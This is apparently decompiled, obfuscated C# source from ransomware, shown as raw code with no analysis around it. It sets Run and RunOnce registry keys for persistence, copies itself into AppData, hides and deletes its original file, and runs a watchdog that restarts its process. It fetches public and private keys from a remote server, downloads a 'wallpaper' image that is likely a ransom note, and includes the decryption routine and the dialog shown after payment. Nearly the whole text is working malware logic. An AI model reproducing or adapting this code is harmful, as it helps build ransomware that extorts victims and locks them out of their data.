public bool method_12(string string_7)
{
bool flag = false;
string text = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys");
string text2 = (string)Delegate169.smethod_0(text, "Public", "");
if (Delegate98.smethod_1(text2, ""))
{
while (!flag)
{
string text3 = this.method_9(49, Delegate179.smethod_0(new object[]
{
":",
this.int_2,
":",
this.int_3
}));
string object_ = this.method_8(Delegate124.smethod_0(string_7, text3));
if (Delegate98.smethod_0(object_, ""))
{
Delegate127.smethod_0(text, "Public", object_, RegistryValueKind.String);
return(true);
}
Delegate104.smethod_0(this.int_1);
}
return(false);
}
Delegate100.smethod_2("Public already exsits");
return(true);
}
public void method_11(string string_7)
{
string text = this.method_9(53, "");
string text2 = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys");
string text3 = Delegate125.smethod_0(Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData), "\\", this.string_3, ".img");
try
{
WebRequest object_ = Delegate155.smethod_0(Delegate124.smethod_0(string_7, text));
Delegate157.smethod_0(object_, Delegate156.smethod_0());
HttpWebResponse object_2 = (HttpWebResponse)Delegate158.smethod_0(object_);
BinaryReader object_3 = Delegate31.smethod_0(Delegate159.smethod_0(object_2));
byte[] array = Delegate176.smethod_0(object_3, 10485760);
using (FileStream fileStream = Delegate32.smethod_0(text3, FileMode.Create))
{
Delegate177.smethod_0(fileStream, array, 0, array.Length);
}
byte[] object_4 = Delegate146.smethod_1(text3);
Delegate127.smethod_0(text2, "Wallpaper", object_4, RegistryValueKind.Binary);
Delegate178.smethod_0(object_3);
Delegate163.smethod_0(object_2);
Delegate100.smethod_1(text3);
Delegate104.smethod_0(this.int_1);
}
catch (WebException)
{
}
}
public string method_8(string string_7)
{
bool flag = false;
string text = null;
while (!flag)
{
try
{
WebRequest object_ = Delegate155.smethod_0(string_7);
Delegate157.smethod_0(object_, Delegate156.smethod_0());
HttpWebResponse object_2 = (HttpWebResponse)Delegate158.smethod_0(object_);
Stream stream = Delegate159.smethod_0(object_2);
StreamReader object_3 = Delegate28.smethod_0(stream);
text = Delegate160.smethod_0(object_3);
if (text != null)
{
flag = true;
}
Delegate161.smethod_0(object_3);
Delegate162.smethod_0(stream);
Delegate163.smethod_0(object_2);
}
catch (WebException)
{
continue;
}
Delegate104.smethod_0(this.int_1);
}
return(text);
}
private void method_2()
{
bool flag = false;
while (!flag)
{
if (this.gclass0_0.method_2(this.string_0, 3))
{
flag = true;
this.method_1();
}
Delegate104.smethod_0(30000);
}
}
public void method_3()
{
string text = Delegate123.smethod_0(Delegate122.smethod_0(Delegate121.smethod_0()));
string text2 = Delegate135.smethod_0(Delegate123.smethod_1(Delegate122.smethod_0(Delegate121.smethod_0())), ".exe", "");
ProcessStartInfo processStartInfo = Delegate21.smethod_0();
Delegate131.smethod_0(processStartInfo, text);
while (true)
{
Process[] array = Delegate136.smethod_0(text2);
int num = array.Length;
if (num < 2)
{
Delegate133.smethod_0(processStartInfo);
}
Delegate104.smethod_0(500);
}
}
public void method_1()
{
this.method_7();
string text = Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData);
string string_ = Delegate123.smethod_0(Delegate122.smethod_0(Delegate121.smethod_0()));
string text2 = Delegate123.smethod_1(Delegate122.smethod_0(Delegate121.smethod_0()));
string text3 = Delegate124.smethod_0("/F /IM ", text2);
string object_ = Delegate125.smethod_0(text, "\\", this.string_3, ".exe");
this.registryKey_0 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Files"));
this.registryKey_1 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Keys"));
if (this.registryKey_1 == null)
{
Delegate127.smethod_0(Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"), "", "", RegistryValueKind.String);
}
if (this.registryKey_0 == null)
{
Delegate127.smethod_0(Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Files"), "", "", RegistryValueKind.String);
}
Delegate127.smethod_0("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", this.string_3, object_, RegistryValueKind.String);
Delegate127.smethod_0("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Delegate124.smethod_0("*", this.string_3), object_, RegistryValueKind.String);
Delegate128.smethod_0(string_, FileAttributes.Hidden);
if (Delegate129.smethod_0(text) && !Delegate129.smethod_1(object_))
{
Delegate104.smethod_0(10000);
try
{
Delegate130.smethod_0(string_, object_);
ProcessStartInfo processStartInfo = Delegate21.smethod_0();
Delegate131.smethod_0(processStartInfo, object_);
ProcessStartInfo processStartInfo2 = Delegate21.smethod_0();
Delegate132.smethod_0(processStartInfo2, false);
Delegate132.smethod_1(processStartInfo2, true);
Delegate131.smethod_0(processStartInfo2, "taskkill");
Delegate131.smethod_1(processStartInfo2, text3);
Delegate133.smethod_0(processStartInfo);
GClass0.MoveFileEx(string_, null, 4);
Delegate133.smethod_0(processStartInfo2);
}
catch (Exception)
{
}
}
}
public void method_2(string string_1)
{
Delegate104.smethod_0(5000);
Mutex object_ = Delegate17.smethod_0();
if (this.gclass0_0.method_13(string_1))
{
Delegate105.smethod_0(this.progressBar_0, ProgressBarStyle.Blocks);
Delegate102.smethod_1(this.progressBar_0, 0);
Delegate102.smethod_2(this.progressBar_0, this.gclass0_0.method_22());
Delegate83.smethod_3(this.progressBar_1, false);
string[] array = this.string_0;
for (int i = 0; i < array.Length; i++)
{
string string_2 = array[i];
Delegate106.smethod_0(object_);
if (!Delegate98.smethod_1(string_2, ""))
{
Delegate54.smethod_0(this.label_8, string_2);
Delegate102.smethod_3(this.progressBar_0, 1);
this.gclass0_0.method_21(string_2);
Delegate107.smethod_0(object_);
}
}
Delegate106.smethod_0(object_);
DialogResult dialogResult = Delegate97.smethod_0("Search and decryption of the found files completed. \n\nMake sure that all important files have been decrypted! If part of the files had not been decrypted - move them to the desktop and click <<Retry>> button. \n\nOtherwise, press <<Cancel>> button - this will delete the software from this computer. Please restart your computer to completely destroy this software!", "Attention!", MessageBoxButtons.RetryCancel, MessageBoxIcon.Exclamation);
if (dialogResult == DialogResult.Retry)
{
this.gclass0_0.method_23();
this.gclass0_0.method_24();
}
else
{
this.gclass0_0.method_24();
}
Delegate107.smethod_0(object_);
}
Delegate108.smethod_0();
}
public bool method_13(string string_7)
{
bool flag = false;
string text = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys");
string text2 = (string)Delegate169.smethod_0(text, "Private", "");
string text3 = this.method_9(51, "");
if (Delegate98.smethod_0(text2, ""))
{
flag = true;
}
while (!flag)
{
string object_ = this.method_8(Delegate124.smethod_0(string_7, text3));
if (Delegate98.smethod_0(object_, "503"))
{
Delegate127.smethod_0(text, "Private", object_, RegistryValueKind.String);
flag = true;
}
Delegate104.smethod_0(this.int_1);
}
return(flag);
}
